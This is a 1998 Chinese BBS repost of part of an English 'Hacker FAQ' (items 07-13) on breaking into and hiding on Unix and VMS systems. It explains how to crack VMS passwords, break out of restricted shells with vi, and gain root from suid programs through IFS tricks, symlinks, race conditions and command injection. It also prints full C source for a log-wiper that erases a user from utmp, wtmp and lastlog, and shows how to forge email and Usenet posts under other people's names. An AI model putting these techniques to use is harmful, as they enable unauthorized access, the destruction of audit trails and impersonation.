发信人: liyv.bbs@bbs.cst.sh.cn (小邱), 信区: cnhacker
标 题: Hacker_FAQ 02
发信站: 生命玄机站 (Wed Oct 7 00:38:13 1998)
转信站: Lilac!ustcnews!cstshnews!lifebbs
07. How do I access the password file under VMS?
Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However,
unlike Unix, most users do not have access to read the password file.
08. How do I crack VMS passwords?
Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.
Two such programs are known to exist, CHECK_PASSWORD and
GUESS_PASSWORD.
09. How do I break out of a restricted shell?
On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function. A good example is vi. Run vi and use this command:
:set shell=/bin/sh
then shell using this command:
:shell
10. How do I gain root from a suid script or program?
1. Change IFS.
If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS. IFS is the Internal
Field Separator that the shell uses to delimit arguments.
If the program contains a line that looks like this:
system("/bin/date")
and you change IFS to '/' the shell will them interpret the
proceeding line as:
bin date
Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.
To change IFS, use this command:
IFS='/';export IFS # Bourne Shell
setenv IFS '/' # C Shell
export IFS='/' # Korn Shell
2. link the script to -i
Create a symbolic link named "-i" to the program. Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode. This only works on suid shell scripts.
Example:
% ln suid.sh -i
% -i
#
3. Exploit a race condition
Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.
Example:
nice -19 suidprog ; ln -s evilprog suidroot
4. Send bad input to the program.
Invoke the name of the program and a separate command on the same
command line.
Example:
suidprog ; id
11. How do I erase my presence from the system logs?
Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.
Example:
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
12. How do I send fakemail?
Telnet to port 25 of the machine you want the mail to appear to
originate from. Enter your message as in this example:
HELO bellcore.com
MAIL FROM:Voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
Please discontinue your silly Clipper initiative.
.
QUIT
On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work. Test by sending yourself fakemail first.
For more informationm read RFC 822 "Standard for the format of ARPA
Internet text messages."
13. How do I fake posts to UseNet?
Use inews to post. Give inews the following lines:
From:
Newsgroups:
Subject:
Message-ID:
Date:
Organization:
For a moderated newsgroup, inews will also require this line:
Approved:
Then add your post and terminate with <Control-D>.
Example:
From: Eric S. Real
Newsgroups: alt.hackers
Subject: Pathetic bunch of wannabe losers
Message-ID: <esr.123@locke.ccil.org>
Date: Fri, 13 Aug 1994 12:15:03
Organization: Moral Majority
A pathetic bunch of wannabe losers is what most of you are, with no
right to steal the honorable title of `hacker' to puff up your silly
adolescent egos. Get stuffed, get lost, and go to jail.
Eric S. Real <esr@locke.ccil.org>
^D
Note that many systems will append an Originator: line to your message
header, effectively revealing the account from which the message was
posted.
--
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃萧秋水虽脸色苍白，但依然笑问道：“老铁，小邱，看来你们的 ┃
┃武功又有精进！” ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
※ 来源:·生命玄机 bbs.cst.sh.cn·[FROM: 202.127.16.22]